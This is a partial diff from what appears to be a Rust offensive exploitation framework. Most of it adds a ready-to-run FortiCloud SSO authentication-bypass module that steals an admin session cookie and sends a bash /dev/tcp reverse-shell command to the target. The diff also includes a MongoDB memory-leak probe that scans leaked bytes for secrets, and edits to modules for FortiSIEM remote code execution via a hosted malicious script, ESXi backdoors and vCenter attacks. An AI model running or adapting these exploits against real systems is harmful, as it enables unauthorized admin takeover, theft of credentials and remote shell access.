println!("{}", format!("[*] Unique fragments: {}", unique_leaks.len()).yellow());
println!("{}", format!("[*] Saved to: {}", output_file).green());
// Show any secrets found
// Python patterns: ['password', 'secret', 'key', 'token', 'admin', 'AKIA']
let secrets = vec![
"password", "secret", "key", "token", "admin", "AKIA"
];
// Convert all leaked to string (lossy) for searching
let all_leaked_str = String::from_utf8_lossy(&all_leaked).to_lowercase();
for s in secrets {
if all_leaked_str.contains(s) {
println!("{}", format!("[!] Found pattern: {}", s).red().bold());
}
}
Ok(())
}
async fn send_probe(addr: &str, doc_len: u32, buffer_size: u32) -> Result<Vec<Vec<u8>>> {
// 1. Construct the malicious BSON payload
// Python: bson = struct.pack('<i', doc_len) + content
// content = b'\x10a\x00\x01\x00\x00\x00' # int32 a=1
let content = b"\x10a\x00\x01\x00\x00\x00";
let mut bson = Vec::new();
bson.extend_from_slice(&doc_len.to_le_bytes()); // inflated doc_len
bson.extend_from_slice(content);
// 2. Wrap in OP_MSG (Code 2013)
// Python: op_msg = struct.pack('<I', 0) + b'\x00' + bson
let mut op_msg = Vec::new();
op_msg.extend_from_slice(&0u32.to_le_bytes()); // flagBits
op_msg.push(0x00); // sectionKind
op_msg.extend_from_slice(&bson);
// 3. Compress using zlib
let mut encoder = ZlibEncoder::new(Vec::new(), Compression::default());
encoder.write_all(&op_msg)?;
let compressed = encoder.finish()?;
// 4. Create OP_COMPRESSED (Code 2012) payload
// use code 2013 internally
let mut payload = Vec::new();
payload.extend_from_slice(&2013u32.to_le_bytes()); // originalOpcode
payload.extend_from_slice(&buffer_size.to_le_bytes()); // uncompressedSize
payload.push(2); // zlib ID
payload.extend_from_slice(&compressed);
// 5. Create Header
// header = struct.pack('<IIII', 16 + len(payload), 1, 0, 2012)
let msg_length = 16 + payload.len() as u32;
let mut header = Vec::new();
header.extend_from_slice(&msg_length.to_le_bytes());
header.extend_from_slice(&1u32.to_le_bytes()); // requestID
header.extend_from_slice(&0u32.to_le_bytes()); // responseTo
header.extend_from_slice(&2012u32.to_le_bytes()); // opCode (OP_COMPRESSED)
// Send data
let mut stream = timeout(Duration::from_secs(2), TcpStream::connect(addr))
.await
.context("Connection timed out")??;
stream.write_all(&header).await?;
stream.write_all(&payload).await?;
// Read response
let mut response = Vec::new();
let mut buf = [0u8; 4096];
// Read loop with timeout
let read_result = timeout(Duration::from_secs(2), async {
// First read length (4 bytes)
let n = stream.read(&mut buf).await?;
if n == 0 { return Ok(()); }
response.extend_from_slice(&buf[..n]);
// If we got enough for header, check length and read remainder
while response.len() < 4 || (response.len() >= 4 && response.len() < u32::from_le_bytes(response[0..4].try_into().unwrap_or([0,0,0,0])) as usize) {
let n = stream.read(&mut buf).await?;
if n == 0 { break; }
response.extend_from_slice(&buf[..n]);
}
Ok::<(), anyhow::Error>(())
}).await;
// Ignore read errors (timeout etc), proceed to check what we got
let _ = read_result;
extract_leaks(&response)
}
fn extract_leaks(response: &[u8]) -> Result<Vec<Vec<u8>>> {
if response.len() < 25 {
return Ok(vec![]);
}
let opcode = u32::from_le_bytes(response[12..16].try_into().unwrap_or([0,0,0,0]));
// Python logic: check if opcode 2012 (compressed)
// Decompress if so.
let raw_data = if opcode == 2012 {
if response.len() > 25 {
let mut d = flate2::read::ZlibDecoder::new(&response[25..]);
let mut buffer = Vec::new();
if d.read_to_end(&mut buffer).is_ok() {
buffer
} else {
return Ok(vec![]);
}
} else {
return Ok(vec![]);
}
} else {
if response.len() > 16 {
response[16..].to_vec()
} else {
return Ok(vec![]);
}
};
let mut leaks = Vec::new();
// Search for "field name '...'" error pattern
let re_field = Regex::new(r"field name '([^']*)'")?;
for cap in re_field.captures_iter(&raw_data) {
if let Some(m) = cap.get(1) {
let data = m.as_bytes().to_vec();
// Filter some common boring strings
if data != b"?" && data != b"a" && data != b"$db" && data != b"ping" {
leaks.push(data);
}
}
}
// Search for "type (\d+)" pattern
let re_type = Regex::new(r"type (\d+)")?;
for cap in re_type.captures_iter(&raw_data) {
if let Some(m) = cap.get(1) {
if let Ok(s) = std::str::from_utf8(m.as_bytes()) {
if let Ok(val) = s.parse::<u8>() {
leaks.push(vec![val]);
}
}
}
}
Ok(leaks)
}
@@ -0,0 +1,500 @@
//! # CVE-2026-24858: FortiCloud SSO Authentication Bypass
//!
//! An Authentication Bypass Using an Alternate Path or Channel vulnerability
//! [CWE-288] in Fortinet products with FortiCloud SSO enabled.
//!
//! An attacker with a FortiCloud account (free or paid) can reuse their SSO token
//! to log into other customers' appliances without knowing their passwords.
//!
//! ## Attack Flow
//! 1. Authenticate to FortiCloud API to get access token
//! 2. Build SOAP XML bypass payload with token
//! 3. POST payload to victim's /remote/logincheck
//! 4. Receive APSCOOKIE for admin access
//! 5. Access admin GUI with stolen session
//!
//! ## Affected Products
//! - FortiAnalyzer 7.0.0-7.6.5
//! - FortiManager 7.0.0-7.6.5
//! - FortiOS 7.0.0-7.6.5
//! - FortiProxy 7.0.0-7.6.4
//! - FortiWeb 7.4.0-8.0.3
//!
//! ## Impact
//! - Full admin GUI access
//! - Root shell access
//! - Traffic interception
//! - VPN tampering
//! - Lateral movement
//!
//! ## Reference
//! - https://github.com/absholi7ly/CVE-2026-24858-FortiCloud-SSO-Authentication-Bypass
//! - GHSA-m3cv-5hgp-hv35
//! - FG-IR-26-060
use anyhow::{Context, Result, bail};
use colored::*;
use reqwest::Client;
use serde::Deserialize;
use serde_json::json;
use std::io::Write;
use std::time::Duration;
const FORTICLOUD_AUTH_URL: &str = "https://customerapiauth.fortinet.com/api/v1/auth/token";
const DEFAULT_PORT: u16 = 443;
const REQUEST_TIMEOUT_SECS: u64 = 15;
/// Exploit configuration
#[derive(Debug, Clone)]
struct ExploitConfig {
target: String,
port: u16,
forticloud_username: String,
forticloud_password: String,
serial_number: String,
check_only: bool,
shell_ip: Option<String>,
shell_port: Option<u16>,
}
impl Default for ExploitConfig {
fn default() -> Self {
Self {
target: String::new(),
port: DEFAULT_PORT,
forticloud_username: String::new(),
forticloud_password: String::new(),
serial_number: "FGT80ETK21000000".to_string(),
check_only: false,
shell_ip: None,
shell_port: None,
}
}
}
#[derive(Debug, Deserialize)]
struct FortiCloudTokenResponse {
access_token: Option<String>,
expires_in: Option<u64>,
}
/// Display module banner
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ CVE-2026-24858: FortiCloud SSO Authentication Bypass ║".cyan());
println!("{}", "║ CWE-288: Authentication Bypass Using Alternate Path ║".cyan());
println!("{}", "║ Affects FortiAnalyzer/FortiManager/FortiOS/FortiProxy/FortiWeb ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════════════╝".cyan());
}
/// Get user configuration
fn get_user_config(target: &str) -> Result<ExploitConfig> {
let mut config = ExploitConfig::default();
println!();
println!("{}", "=== CVE-2026-24858 Configuration ===".yellow().bold());
println!();
// Target
config.target = if target.is_empty() {
print!("{}", "Enter target IP/hostname: ".green());
std::io::stdout().flush().context("Failed to flush stdout")?;
let mut input = String::new();
std::io::stdin().read_line(&mut input).context("Failed to read input")?;
let t = input.trim().to_string();
if t.is_empty() {
bail!("Target is required");
}
t
} else {
target.to_string()
};
let mut input = String::new();
// Port
print!("{}", format!("Target port [default: {}]: ", DEFAULT_PORT).green());
std::io::stdout().flush().context("Failed to flush stdout")?;
input.clear();
std::io::stdin().read_line(&mut input).context("Failed to read input")?;
if let Ok(p) = input.trim().parse::<u16>() {
config.port = p;
}
// FortiCloud username
print!("{}", "FortiCloud username (attacker account): ".green());
std::io::stdout().flush().context("Failed to flush stdout")?;
input.clear();
std::io::stdin().read_line(&mut input).context("Failed to read input")?;
let username = input.trim().to_string();
if username.is_empty() {
bail!("FortiCloud username is required");
}
config.forticloud_username = username;
// FortiCloud password
print!("{}", "FortiCloud password: ".green());
std::io::stdout().flush().context("Failed to flush stdout")?;
input.clear();
std::io::stdin().read_line(&mut input).context("Failed to read input")?;
let password = input.trim().to_string();
if password.is_empty() {
bail!("FortiCloud password is required");
}
config.forticloud_password = password;
// Serial number (optional)
print!("{}", "Target device serial number [default: FGT80ETK21000000]: ".green());
std::io::stdout().flush().context("Failed to flush stdout")?;
input.clear();
std::io::stdin().read_line(&mut input).context("Failed to read input")?;
if !input.trim().is_empty() {
config.serial_number = input.trim().to_string();
}
// Check only mode
print!("{}", "Check only (no exploitation)? [y/N]: ".green());
std::io::stdout().flush().context("Failed to flush stdout")?;
input.clear();
std::io::stdin().read_line(&mut input).context("Failed to read input")?;
config.check_only = input.trim().eq_ignore_ascii_case("y");
// Reverse shell (if not check only)
if !config.check_only {
print!("{}", "Setup reverse shell connection? [y/N]: ".green());
std::io::stdout().flush().context("Failed to flush stdout")?;
input.clear();
std::io::stdin().read_line(&mut input).context("Failed to read input")?;
if input.trim().eq_ignore_ascii_case("y") {
print!("{}", "Listener IP: ".green());
std::io::stdout().flush().context("Failed to flush stdout")?;
input.clear();
std::io::stdin().read_line(&mut input).context("Failed to read input")?;
config.shell_ip = Some(input.trim().to_string());
print!("{}", "Listener port [default: 4444]: ".green());
std::io::stdout().flush().context("Failed to flush stdout")?;
input.clear();
std::io::stdin().read_line(&mut input).context("Failed to read input")?;
config.shell_port = Some(match input.trim().parse::<u16>() {
Ok(p) => p,
Err(_) => 4444,
});
}
}
println!();
println!("{}", "[Configuration Summary]".cyan().bold());
println!(" Target: {}:{}", config.target, config.port);
println!(" FortiCloud User: {}", config.forticloud_username);
println!(" Serial Number: {}", config.serial_number);
println!(" Mode: {}", if config.check_only { "Check Only" } else { "Full Exploitation" });
if let (Some(ip), Some(port)) = (&config.shell_ip, &config.shell_port) {
println!(" Reverse Shell: {}:{}", ip, port);
}
println!();
Ok(config)
}
/// Build SOAP bypass payload
fn build_bypass_payload(token: &str, serial_number: &str) -> String {
format!(r#"<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Body>
<authRequest>
<serialNumber>{}</serialNumber>
<token>{}</token>
<action>login</action>
</authRequest>
</soapenv:Body>
</soapenv:Envelope>"#, serial_number, token)
}
/// Get FortiCloud access token
async fn get_forticloud_token(client: &Client, config: &ExploitConfig) -> Result<String> {
println!("{}", "[*] Authenticating to FortiCloud API...".cyan());
let auth_payload = json!({
"username": config.forticloud_username,
"password": config.forticloud_password
});
let res = client.post(FORTICLOUD_AUTH_URL)
.json(&auth_payload)
.send()
.await
.context("Failed to connect to FortiCloud API")?;
if !res.status().is_success() {
let status = res.status();
let body = match res.text().await {
Ok(t) => t,
Err(_) => String::from("(failed to read response)"),
};
bail!("FortiCloud auth failed: {} - {}", status, body);
}
let token_response: FortiCloudTokenResponse = res.json().await
.context("Failed to parse FortiCloud token response")?;
match token_response.access_token {
Some(token) => {
let expires = match token_response.expires_in {
Some(e) => e,
None => 900,
};
println!("{}", format!("[+] Got FortiCloud token (expires in {}s)", expires).green());
Ok(token)
},
None => bail!("No access_token in FortiCloud response"),
}
}
/// Attempt authentication bypass
async fn attempt_bypass(client: &Client, config: &ExploitConfig, token: &str) -> Result<Option<String>> {
let target_url = format!("https://{}:{}/remote/logincheck", config.target, config.port);
println!("{}", format!("[*] Sending bypass payload to {}...", target_url).cyan());
let payload = build_bypass_payload(token, &config.serial_number);
let res = client.post(&target_url)
.header("Content-Type", "application/xml")
.body(payload)
.send()
.await
.context("Failed to send bypass request")?;
let status = res.status();
let cookies: Vec<String> = res.cookies()
.map(|c| format!("{}={}", c.name(), c.value()))
.collect();
if status.is_success() {
// Check for APSCOOKIE
for cookie in &cookies {
if cookie.starts_with("APSCOOKIE=") {
println!("{}", "[+] AUTHENTICATION BYPASS SUCCESSFUL!".green().bold());
println!("{}", format!("[+] Got session cookie: {}", cookie).green());
return Ok(Some(cookie.clone()));
}
}
// Check response body for success indicators
let body = match res.text().await {
Ok(t) => t,
Err(_) => String::new(),
};
if body.contains("redir=") || body.contains("login success") || !cookies.is_empty() {
println!("{}", "[+] AUTHENTICATION BYPASS LIKELY SUCCESSFUL!".green().bold());
if !cookies.is_empty() {
let cookie_str = cookies.join("; ");
println!("{}", format!("[+] Cookies: {}", cookie_str).green());
return Ok(Some(cookie_str));
}
}
println!("{}", format!("[*] Response: {}", status).yellow());
return Ok(None);
}
println!("{}", format!("[-] Bypass failed: {}", status).yellow());
Ok(None)
}
/// Verify admin access
async fn verify_admin_access(client: &Client, config: &ExploitConfig, cookies: &str) -> Result<bool> {
let admin_url = format!("https://{}:{}/ng/", config.target, config.port);
println!("{}", "[*] Verifying admin GUI access...".cyan());
let res = client.get(&admin_url)
.header("Cookie", cookies)
.send()
.await
.context("Failed to access admin GUI")?;
if res.status().is_success() {
let body = match res.text().await {
Ok(t) => t,
Err(_) => String::new(),
};
// Check for admin dashboard indicators
if body.contains("dashboard") || body.contains("FortiGate") ||
body.contains("FortiManager") || body.contains("FortiAnalyzer") ||
body.contains("ng-app") {
println!("{}", "[+] ADMIN GUI ACCESS CONFIRMED!".green().bold());
return Ok(true);
}
}
println!("{}", "[-] Could not verify admin access".yellow());
Ok(false)
}
/// Execute reverse shell command
async fn execute_reverse_shell(client: &Client, config: &ExploitConfig, cookies: &str) -> Result<()> {
let (shell_ip, shell_port) = match (&config.shell_ip, &config.shell_port) {
(Some(ip), Some(port)) => (ip, port),
_ => return Ok(()),
};
println!("{}", "[*] Attempting to execute reverse shell...".cyan());
println!("{}", format!("[!] Make sure listener is running: nc -lvnp {}", shell_port).yellow());
// FortiOS CLI command execution via API
let cmd_url = format!("https://{}:{}/api/v2/monitor/system/cli", config.target, config.port);
let shell_cmd = format!("execute bash\nbash -i >& /dev/tcp/{}/{} 0>&1", shell_ip, shell_port);
let payload = json!({
"command": shell_cmd
});
let res = client.post(&cmd_url)
.header("Cookie", cookies)
.json(&payload)
.send()
.await;
match res {
Ok(r) => {
if r.status().is_success() {
println!("{}", "[+] Shell command sent! Check your listener.".green().bold());
} else {
println!("{}", format!("[-] Command execution returned: {}", r.status()).yellow());
println!("{}", "[*] Try manually via GUI: Dashboard → CLI Console → execute bash".cyan());
}
},
Err(e) => {
println!("{}", format!("[-] Command execution failed: {}", e).yellow());
println!("{}", "[*] Try manually via GUI: Dashboard → CLI Console".cyan());
}
}
Ok(())
}
/// Check if target is vulnerable
async fn check_vulnerable(client: &Client, config: &ExploitConfig) -> Result<bool> {
let login_url = format!("https://{}:{}/remote/logincheck", config.target, config.port);
println!("{}", "[*] Checking target accessibility...".cyan());
let res = client.get(&login_url)
.send()
.await;
match res {
Ok(r) => {
let status = r.status();
let body = match r.text().await {
Ok(t) => t,
Err(_) => String::new(),
};
// Check for FortiOS/FortiGate indicators
if body.contains("FortiGate") || body.contains("FortiOS") ||
body.contains("FortiManager") || body.contains("FortiAnalyzer") ||
body.contains("Fortinet") || body.contains("fgt_") {
println!("{}", format!("[+] Fortinet device detected: {}", status).green());
return Ok(true);
}
// Check for login page
if body.contains("login") || body.contains("sslvpn") || body.contains("remote") {
println!("{}", "[+] Target appears to be a Fortinet device".green());
return Ok(true);
}
println!("{}", format!("[*] Target responded: {} - may not be Fortinet", status).yellow());
},
Err(e) => {
println!("{}", format!("[-] Could not reach target: {}", e).red());
}
}
Ok(false)
}
/// Run the exploit
async fn run_exploit(config: &ExploitConfig) -> Result<()> {
let client = Client::builder()
.timeout(Duration::from_secs(REQUEST_TIMEOUT_SECS))
.danger_accept_invalid_certs(true)
.build()
.context("Failed to create HTTP client")?;
// Step 1: Check target
let is_fortinet = check_vulnerable(&client, config).await?;
if !is_fortinet {
print!("{}", "[?] Target may not be a Fortinet device. Continue? [y/N]: ".yellow());
std::io::stdout().flush().context("Failed to flush stdout")?;
let mut input = String::new();
std::io::stdin().read_line(&mut input).context("Failed to read input")?;
if !input.trim().eq_ignore_ascii_case("y") {
println!("{}", "[-] Aborted.".red());
return Ok(());
}
}
// Step 2: Get FortiCloud token
let token = get_forticloud_token(&client, config).await?;
// Step 3: Attempt bypass
let cookies = attempt_bypass(&client, config, &token).await?;
match cookies {
Some(ref c) if !c.is_empty() => {
// Step 4: Verify admin access
let verified = verify_admin_access(&client, config, c).await?;
if verified && !config.check_only {
// Step 5: Execute reverse shell if configured
execute_reverse_shell(&client, config, c).await?;
}
println!();
println!("{}", "=== EXPLOIT RESULTS ===".green().bold());
println!("{}", "[+] Authentication bypass: SUCCESS".green());
println!("{}", format!("[+] Session cookie: {}", c).green());
println!("{}", format!("[+] Admin URL: https://{}:{}/ng/", config.target, config.port).cyan());
println!();
println!("{}", "Manual exploitation:".yellow());
println!(" 1. Open browser with cookie: {}", c);
println!(" 2. Navigate to: https://{}:{}/ng/", config.target, config.port);
println!(" 3. For shell: Dashboard → CLI Console → execute bash");
println!();
},
_ => {
println!();
println!("{}", "=== EXPLOIT RESULTS ===".yellow().bold());
println!("{}", "[-] Authentication bypass: FAILED or NOT VULNERABLE".red());
println!();
println!("{}", "Possible reasons:".yellow());
println!(" - Target is patched (>= fixed versions)");
println!(" - FortiCloud SSO is disabled");
println!(" - Serial number mismatch");
println!(" - Network/firewall blocking");
println!();
}
}
Ok(())
}
/// Main entry point
pub async fn run(target: &str) -> Result<()> {
display_banner();
let config = get_user_config(target)?;
println!();
println!("{}", "[*] Starting exploit...".cyan().bold());
println!();
run_exploit(&config).await
}
@@ -6,7 +6,7 @@ use tokio_rustls::rustls::{ClientConfig, RootCertStore, pki_types::ServerName};
use tokio_rustls::TlsConnector;
use std::sync::Arc;
use std::time::Duration;
use crate::utils::{prompt_required, normalize_target, prompt_default};
use crate::utils::{prompt_required, normalize_target, prompt_default, prompt_port};
/// FortiSIEM Unauthenticated RCE (CVE-2025-64155)
///
@@ -36,7 +36,7 @@ pub async fn run(target: &str) -> Result<()> {
println!("{}", "It executes a command via curl argument injection.".red());
let lhost = prompt_default("LHOST (Your IP) for payload download", "127.0.0.1")?;
let lport = prompt_default("LPORT (Your Web Server Port)", "8000")?;
let lport = prompt_port("LPORT (Your Web Server Port)", 8000)?;
let filename = "redishb.sh";
println!("{} Ensure you are hosting a malicious '{}' at http://{}:{}/{}", "[*]".yellow(), filename, lhost, lport, filename);
@@ -128,7 +128,7 @@ r#"<TEST_STORAGE type="elastic">
let domain = ServerName::try_from(target_ip.as_str())
.map(|n| n.to_owned())
.or_else(|_| ServerName::try_from("example.com").map(|n| n.to_owned()))
.expect("Regex compilation failed");
.context("Failed to create ServerName")?;
let mut tls_stream = connector.connect(domain, stream).await.context("TLS handshake failed")?;
@@ -107,7 +107,10 @@ pub async fn run(target: &str) -> Result<()> {
// If blind, we need OOB.
// If reflected, print body.
println!("{} Exploit sent. Status: {}", "[+]".green(), r.status());
let body = r.text().await.unwrap_or_default();
let body = match r.text().await {
Ok(t) => t,
Err(_) => String::new(),
};
println!("{} Response: {}", "[*]".blue(), body);
},
Err(e) => println!("{} Exploit request failed: {}", "[-]".red(), e),
@@ -267,7 +267,10 @@ impl FortiWebExploit {
.await
.context("Command execution failed")?;
let output = response.text().await.unwrap_or_default();
let output = match response.text().await {
Ok(t) => t,
Err(_) => String::new(),
};
Ok(output)
}
@@ -381,12 +384,19 @@ async fn run_mass_scan() -> Result<()> {
// Writer task
let outfile_clone = outfile.clone();
tokio::spawn(async move {
let mut file = OpenOptions::new()
let file_result = OpenOptions::new()
.create(true)
.append(true)
.open(&outfile_clone)
.await
.expect("Failed to open output file");
.open(&*outfile_clone)
.await;
let mut file = match file_result {
Ok(f) => f,
Err(e) => {
eprintln!("[-] Failed to open output file: {}", e);
return;
}
};
while let Some(result) = rx.recv().await {
if let Err(e) = file.write_all(result.as_bytes()).await {
@@ -3,3 +3,4 @@ pub mod fortios_ssl_vpn_cve_2018_13379;
pub mod fortiweb_rce_cve_2021_22123;
pub mod fortiweb_sqli_rce_cve_2025_25257;
pub mod fortisiem_rce_cve_2025_64155;
pub mod forticloud_sso_auth_bypass_cve_2026_24858;
@@ -103,9 +103,13 @@ fn process_data(data: &Value) {
let name = user["displayName"].as_str().unwrap_or("N/A");
let ip = user["lastLoginIp"].as_str().unwrap_or("N/A");
// roles is an array of strings
let roles = user["roles"].as_array()
.map(|r| r.iter().map(|s| s.as_str().unwrap_or("")).collect::<Vec<_>>().join(", "))
.unwrap_or_default();
let roles = match user["roles"].as_array() {
Some(r) => r.iter().map(|s| match s.as_str() {
Some(str_val) => str_val,
None => "",
}).collect::<Vec<_>>().join(", "),
None => String::new(),
};
println!(" [{}] Name: {}, Email: {}, IP: {}, Roles: {}", i+1, name, email, ip, roles);
}
@@ -0,0 +1,5 @@
pub mod fortinet;
pub mod ivanti;
pub mod vmware;
pub mod trend_micro;
pub mod qnap;
@@ -65,7 +65,10 @@ pub async fn run(target: &str) -> Result<()> {
.context("Failed to send request")?;
let status = res.status();
let text = res.text().await.unwrap_or_default();
let text = match res.text().await {
Ok(t) => t,
Err(_) => String::new(),
};
if status.is_server_error() || text.is_empty() {
println!("{} Server error or empty response - potential crash!", "[+]".green().bold());
@@ -17,7 +17,7 @@ use std::io::{Read, Write};
use std::net::TcpStream;
use std::time::Duration;
use crate::utils::{normalize_target, prompt_default};
use crate::utils::{normalize_target, prompt_default, prompt_port};
const DEFAULT_TIMEOUT_SECS: u64 = 30;
@@ -241,7 +241,7 @@ pub async fn run(target: &str) -> Result<()> {
println!("{}", format!("[*] Target: {}", host).cyan());
// Get connection parameters
let port: u16 = prompt_default("SSH Port", "22")?.parse().unwrap_or(22);
let port: u16 = prompt_port("SSH Port", 22)?;
let username = prompt_default("ESXi Username", "root")?;
let password = prompt("ESXi Password").await?;
if password.is_empty() {
@@ -17,7 +17,7 @@ use std::io::{Read, Write};
use std::net::TcpStream;
use std::time::Duration;
use crate::utils::{normalize_target, prompt_default};
use crate::utils::{normalize_target, prompt_default, prompt_port};
const DEFAULT_TIMEOUT_SECS: u64 = 30;
@@ -211,7 +211,7 @@ pub async fn run(target: &str) -> Result<()> {
println!("{}", format!("[*] Target ESXi: {}", host).cyan());
// Default to port 21 (hijacked FTP via inetd)
let port: u16 = prompt_default("Backdoor Port (TCP fallback)", "21")?.parse().unwrap_or(21);
let port: u16 = prompt_port("Backdoor Port (TCP fallback)", 21)?;
println!();
println!("{}", "Select mode:".yellow().bold());
@@ -20,7 +20,7 @@ use std::io::{Read, Write};
use std::net::TcpStream;
use std::time::Duration;
use crate::utils::{normalize_target, prompt_default, prompt_int_range};
use crate::utils::{normalize_target, prompt_default, prompt_int_range, prompt_port};
const DEFAULT_TIMEOUT_SECS: u64 = 30;
@@ -223,7 +223,7 @@ pub async fn run(target: &str) -> Result<()> {
println!("{}", format!("[*] Target: {}", host).cyan());
// Get connection parameters
let port: u16 = prompt_default("SSH Port", "22")?.parse().unwrap_or(22);
let port: u16 = prompt_port("SSH Port", 22)?;
let username = prompt("vCenter Admin Username").await?;
if username.is_empty() {
return Err(anyhow!("Username is required"));
@@ -19,7 +19,7 @@ use std::io::{Read, Write};
use std::net::TcpStream;
use std::time::Duration;
use crate::utils::{normalize_target, prompt_default};
use crate::utils::{normalize_target, prompt_default, prompt_port};
const DEFAULT_TIMEOUT_SECS: u64 = 30;
@@ -168,7 +168,7 @@ pub async fn run(target: &str) -> Result<()> {
println!("{}", format!("[*] Target: {}", host).cyan());
// Get connection parameters
let port: u16 = prompt_default("SSH Port", "22")?.parse().unwrap_or(22);
let port: u16 = prompt_port("SSH Port", 22)?;
let username = prompt("vCenter Admin Username").await?;
if username.is_empty() {
return Err(anyhow!("Username is required"));
@@ -205,14 +205,14 @@ fn parse_delay(input: &str) -> Result<u32> {
fn random_string(len: usize) -> String {
let charset = b"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
let mut rng = rng();
(0..len).map(|_| *charset.choose(&mut rng).unwrap() as char).collect()
(0..len).map(|_| *charset.choose(&mut rng).unwrap_or(&b'A') as char).collect()
}
fn random_var() -> String {
let charset = b"ABCDEFGHIJKLMNOPQRSTUVWXYZ";
let mut rng = rng();
let len = rng.random_range(4..8);
(0..len).map(|_| *charset.choose(&mut rng).unwrap() as char).collect()
(0..len).map(|_| *charset.choose(&mut rng).unwrap_or(&b'A') as char).collect()
}
fn generate_junk_comments() -> String {
@@ -220,7 +220,7 @@ fn generate_junk_comments() -> String {
let count = rng.random_range(3..7);
let mut s = String::new();
for _ in 0..count {
writeln!(s, ":: {}", random_string(20)).unwrap();
writeln!(s, ":: {}", random_string(20)).ok();
}
s
}

Some files were not shown because too many files have changed in this diff Show More